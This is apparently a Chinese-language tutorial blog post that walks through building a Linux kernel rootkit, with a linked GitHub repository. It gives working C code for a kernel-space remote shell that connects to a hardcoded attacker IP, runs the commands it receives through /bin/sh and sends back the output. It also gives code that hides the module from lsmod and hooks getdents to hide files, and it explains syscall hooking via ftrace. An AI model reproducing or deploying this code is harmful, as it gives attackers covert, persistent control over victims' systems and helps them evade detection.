編寫一個簡單的linux kernel rootkit
一、前言
linux kernel rootkit跟普通的應用層rootkit個人感覺不大,個人感覺區別在于一個運行在用戶空間中,一個運行在內核空間中;另一個則是編寫時調用的API跟應用層rootkit不同。
一個最簡單的linux kernel rootkit就是一個linux kernel module。
二、環境
內核版本:5.4.0-120攻擊機:kal靶機和編譯機:ubuntu18 64位
三、linux kernel module
PS: linux kernel module編寫網上資料很多,這里不在過多敘述。
1、一個linux kernel module必備的函數為module_init和module_exit,前者為linux kernel module加載時調用的函數,后者為linux kernel module卸載時調用的函數,如下所示:
module_init(rootkit_init);module_exit(rootkit_exit);
2、當然,也有其他module開頭的函數,例如ODULE_AUTHOR聲明作者等函數,但這些都是可選的。
3、linux kernel module打印函數也跟用戶態的printf函數不同,為printk函數,當然,也不會打印在終端中,通過printk打印的信息可通過dmesg命令查看。
4、一個最簡單的linux kernel module如下所示,其中module_init聲明了模塊加載時的函數example_init,module_exit聲明了模塊卸載時調用的函數函數example_exit,這個最簡單的linux kernel module實現的功能就是在加載時和卸載時打印字符串。
#include <linux/init.h>#include <linux/module.h>#include <linux/kernel.h>
MODULE_LICENSE("GPL");MODULE_AUTHOR("windy_ll");MODULE_DESCRIPTION("Basic Kernel Module");MODULE_VERSION("0.01");
static int __init example_init(void){ printk(KERN_INFO "Hello, world!\n"); return 0;}
static void __exit example_exit(void){ printk(KERN_INFO "Goodbye, world!\n");}
module_init(example_init);module_exit(example_exit);
5、linux kernel module可通過make modules命令編譯,例如本篇編譯的Makefile文件如下所示:
obj-m += rootkit.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
6、linux kernel module使用命令insmod加載,使用rmmod命令卸載,可以使用lsmod命令查看所有已經加載的linux kernel module。上面的linux kernel module運行結果如下圖所示:



四、hook系統調用表
1、系統調用表(System call Table),是一張由指向實現各種系統調用的內核函數的函數指針組成的表,該表可以基于系統調用編號進行索引,來定位函數地址,完成系統調用(PS: 來自百度百科),系統調用表詳細列表如下鏈接所示:
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
2、系統調用表的hook一般可以通過以下幾種方式來實現:
找到系統調用表位置,修改系統調用表中的函數地址。
找到系統調用表位置,修改系統調用表函數前幾個字節做一個jmp,就是inlinehook,當然可以在匯編上直接替換掉系統調用表的函數二進制指令。
利用別人寫好的框架,例如ftrace(PS:本文為了方便,即利用此方式)。
3、獲取系統調用表地址一般也可以通過以下幾種方式來實現。
通過調用函數kallsyms_lookup_name獲取(ps:高版本已經被禁用該函數)。
掃描內存,匹配特征碼來找到系統調用表的地址。
讀取/proc/kallsym文件來獲取。
其他方法,不在過多介紹。
4、linux kernel rootkit中的某些功能需要通過hook系統調用表的函數來實現,例如監控命令的執行等。
五、linux kernel多線程
1、linux kernel中的多線程可使用宏定義kthread_run來創建一個內核線程,第一個參數為線程要執行的函數名,使用kthread_stop來停止。
2、一個簡單的多線程示例如下所示:(PS: 這里不用導入那么多頭文件,之所以使用這么多頭文件,是使用了其他API)。
#include <linux/module.h>#include <linux/kthread.h>#include <linux/delay.h>#include <linux/init.h>#include <linux/kernel.h>#include <linux/syscalls.h>#include <linux/version.h>#include <linux/namei.h>#include <linux/moduleparam.h>#include <linux/sched.h>#include <linux/fs.h>#include <linux/uaccess.h>
static struct task_struct *test_kthread = NULL;
static int kthread_test_func(void *data){ return 0;}
static __init int kthread_test_init(void){ test_kthread = kthread_run(kthread_test_func, NULL, "kthread-test"); if (!test_kthread) { return -ECHILD; }
return 0;}
static __exit void kthread_test_exit(void){}
module_init(kthread_test_init);module_exit(kthread_test_exit);
六、linux kernel socket
1、linux內核中的通信和用戶層面的步驟差不多,都是先創建socket、連接或監聽socket、調用函數收發信息、關閉連接。
2、不同點在于調用的API不同,linux內核中調用的是sock_create_kern函數來創建socket,調用sock->ops->connect來連接服務端(PS:這里的sock是前面創建的socket連接符),調用kernel_sendmsg來發送信息,調用kernel_recvmsg來接收信息,調用kernel_sock_shutdown函數來關閉連接,調用sock_release函數來釋放socket連接符,按照用戶層的socket的流程來調用即可。
3、上面的api不是唯一的,linux源碼中還提供了其他的函數來實現socket連接,感興趣的可以去查閱相關的linux源碼。
4、上面只寫了socket客戶端,不寫socket服務端的原因是作者測試了好幾套api在5.4的內核版本中,都運行到某個階段內核就掛了,知道原因的大佬可以指出是什么原因。
5、測試例如下所示:
static int myserver(void *data){
struct socket *sock,*client_sock; struct sockaddr_in s_addr; unsigned short portnum=8888; int ret=0; char recvbuf[1024]; char sendbuf[4096]; char *result; struct msghdr recvmsg,sendmsg; struct kvec send_vec,recv_vec;
//sendbuf = kmalloc(1024,GFP_KERNEL); if(sendbuf == NULL) { printk(KERN_INFO "[SockTest]: sendbuf kmalloc failed!\n"); return -1; }
//recvbuf = kmalloc(1024,GFP_KERNEL); if(recvbuf == NULL) { printk(KERN_INFO "[SockTest]: recvbuf kmalloc failed!\n"); return -1; }
memset(&s_addr,0,sizeof(s_addr)); s_addr.sin_family=AF_INET; s_addr.sin_port=htons(portnum); s_addr.sin_addr.s_addr=in_aton("10.10.10.195");
sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL); client_sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);
/*create a socket*/ ret=sock_create_kern(&init_net,AF_INET, SOCK_STREAM,0,&sock); if(ret < 0){ printk("[SockTest]:socket_create_kern error!\n"); return -1; } printk("[SockTest]:socket_create_kern ok!\n");
/*connect the socket*/ ret=sock->ops->connect(sock,(struct sockaddr *)&s_addr,sizeof(s_addr),0); printk(KERN_INFO "[SockTest]: connect ret = %d\n",ret); /* if(ret != 0){ printk("[SockTest]: connect error\n"); return ret; } */ printk("[SockTest]:connect ok!\n");
memset(sendbuf,0,1024);
strcpy(sendbuf,"test");
memset(&sendmsg,0,sizeof(sendmsg)); memset(&send_vec,0,sizeof(send_vec));
send_vec.iov_base = sendbuf; send_vec.iov_len = 4096;
/*send*/ ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,4); printk(KERN_INFO "[SockTest]: kernel_sendmsg ret = %d\n",ret); if(ret < 0) { printk(KERN_INFO "[SockTest]: kernel_sendmsg failed!\n"); return ret; } printk(KERN_INFO "[SockTest]: send ok!\n"); memset(&recv_vec,0,sizeof(recv_vec)); memset(&recvmsg,0,sizeof(recvmsg));
recv_vec.iov_base = recvbuf; recv_vec.iov_len = 1024;
/*kmalloc a receive buffer*/ while(true) { memset(recvbuf, 0, 1024);
ret = kernel_recvmsg(sock,&recvmsg,&recv_vec,1,1024,0); printk(KERN_INFO "[SockTest]: received message: %s\n",recvbuf); if(!strcmp("exit",recvbuf)) { break; } printk(KERN_INFO "[SockTest]: %ld\n",strlen(recvbuf)); result = execcmd(recvbuf); memset(sendbuf,0,4096); strncpy(sendbuf,result,4096); ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf)); }
kernel_sock_shutdown(sock,SHUT_RDWR); sock_release(sock); printk(KERN_INFO "[SockTest]: socket exit\n");
return 0;}
七、linux kernel命令執行
1、對于一個rootkit來說,最核心的功能點肯定在于能夠執行命令。
2、在linux內核中,有以下幾種方式可以用來執行命令:
hook系統調用表,劫持命令執行函數sys_execve。
調用call_usermodehelper函數直接執行命令。
3、這里使用的是第二種方式來執行命令,第一種只做到了無參數命令執行,對于有參數的解析其參數時按照指針數組解析出來的不知道為啥一直是亂碼,知道原因的大佬可以指教一下。
4、無論是什么方式,都無法將命令回顯結果直接寫入內存直接讀取,所以這里采用的是將命令結果利用>寫入某個文件中,然后調用vfs_read函數讀取文件獲取命令回顯,如下所示:
static char* execcmd(char cmd[1024]){ int result; struct file *fp; mm_segment_t fs; loff_t pos; static char buf[4096]; char add[] = " > /tmp/result.txt"; char cmd_path[] = "bin/sh"; strcat(cmd,add); char *cmd_argv[] = {cmd_path,"-c",cmd,NULL}; char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL}; result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC); printk(KERN_INFO "[TestKthread]: call_usermodehelper() result is %d\n",result); fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644); if(IS_ERR(fp)) { printk(KERN_INFO "open file failed!\n"); return 0; } memset(buf,0,sizeof(buf)); fs = get_fs(); set_fs(KERNEL_DS); pos = 0; vfs_read(fp,buf,sizeof(buf),&pos); printk(KERN_INFO "shell result %ld:\n",strlen(buf)); printk("%s\n",buf); filp_close(fp,NULL); set_fs(fs); return buf;}
八、隱藏內核模塊自身
1、對于linux kernel rootkit,很重要的一點就是隱藏自己的存在,不然受害者一個lsmod就發現了。
2、通過lsmod讀出來的已經加載的內核模塊在內存中的表現形式為一個鏈表,我們可以通過添加、刪除這個鏈表中的節點來實現對內核模塊的顯示和隱藏。
3、我們可以通過THIS_MODULE這個變量來訪問上述的連接,幸運的是,官方提供了API 來添加和刪除節點,分別為list_del和list_add函數。
4、實現該功能源碼如下所示:
void hideme(void){ prev_module = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list);}
void showme(void){ list_add(&THIS_MODULE->list,prev_module);}
九、隱藏文件
1、由于前面的命令執行功能獲取命令回顯結果產生了一些文件,所以我們還要隱藏這些產生從文件來避免我們的rootkit被發現。
2、我們可以通過hook sys_getdents系統調用來實現,該系統調用有三個參數,其中第二個參數為一個指針,該指針所存儲的即為一個目錄的文件和目錄信息,在內存中的數據結構為一個鏈表,通過遍歷這個鏈表然后刪除相應的節點即可達到隱藏文件的目的。
3、該鏈表的數據結構如下所示,其中,d_name為文件或目錄的名稱,d_reclen為長度,通過這兩個數據,我們即可實現隱藏文件和目錄的功能。
struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[]; };
4、該功能實現示例如下所示:
asmlinkage int hook_getdents(const struct pt_regs *regs){ struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[]; }; struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si; struct linux_dirent *current_dir,*previous_dir,*dirent_ker = NULL; unsigned long offset = 0; long error;
int ret = orig_getdents(regs); dirent_ker = kzalloc(ret, GFP_KERNEL);
if ((ret <= 0) || (dirent_ker == NULL)) { printk(KERN_DEBUG "error 1,ret is %d\n",ret); return ret; }
error = copy_from_user(dirent_ker, dirent, ret); if(error) { printk(KERN_DEBUG "error 2\n"); goto done; }
while(offset < ret) { current_dir = (void *)dirent_ker + offset; if(check(current_dir->d_name) == 1) { if(debug_mode == 1) { printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name); } if(current_dir == dirent_ker) { ret -= current_dir->d_reclen; memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); continue; } previous_dir->d_reclen += current_dir->d_reclen; } else { previous_dir = current_dir; } offset += current_dir->d_reclen; }
error = copy_to_user(dirent, dirent_ker, ret); if(error) { printk(KERN_DEBUG "error 3\n"); goto done; }
done: kfree(dirent_ker); return ret;}
十、ftrace使用方法
1、導入頭文件ftrace_helper.h。
2、定義一個ftrace_hook hooks結構體數組,如下所示:
static struct ftrace_hook hooks[] = { HOOK("sys_mkdir",hook_mkdir,&orig_mkdir),};
調用fh_install_hooks函數掛鉤,調用fh_remove_hooks函數解掛即
11、其他
1、在linux kernel 4.17之后,系統調用函數的參數全部存儲在pt_reg結構體中,要實際訪問到其參數,需要去讀取該結構體。
2、由于rootkit運行在內核空間中,要訪問用戶空間的數據,需要使用strncpy_from_user等函數將用戶空間的變量拷貝到內核空間中。
3、要申請內核空間,不能使用malloc,而是要使用kmalloc等函數來申請。
12、linux kernel rootkit使用截圖
1、命令執行

2、隱藏內核模塊



3、隱藏文件



13、github以及參考連接
1、github鏈接:
https://github.com/windy-purple/linux_kernel_rootkit